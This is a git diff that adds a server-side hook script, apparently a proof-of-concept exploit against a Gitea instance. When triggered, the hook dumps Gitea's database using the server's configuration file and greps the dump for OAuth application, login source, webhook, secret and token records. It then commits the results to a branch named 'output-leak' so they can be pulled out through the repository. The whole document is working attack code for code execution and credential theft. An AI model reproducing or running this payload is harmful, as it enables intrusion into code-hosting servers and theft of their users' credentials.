diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..bcab414 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,17 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +G=/app/gitea/gitea; C=/data/gitea/conf/app.ini +echo "---HELP---"; $G dump --help 2>&1 | head -25 +echo "---DUMP---"; timeout 90 $G dump --config $C --database-only --file /data/gitea/tmp/i19dump.zip 2>&1 | tail -8 +ls -la /data/gitea/tmp/i19dump.zip 2>/dev/null +echo "---ZIPLIST---"; unzip -l /data/gitea/tmp/i19dump.zip 2>/dev/null | head -15 +echo "---SQLGREP---"; unzip -p /data/gitea/tmp/i19dump.zip gitea-db.sql 2>/dev/null | grep -a -i -E 'oauth2_app|login_source|webhook|secret|token' | head -30 +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"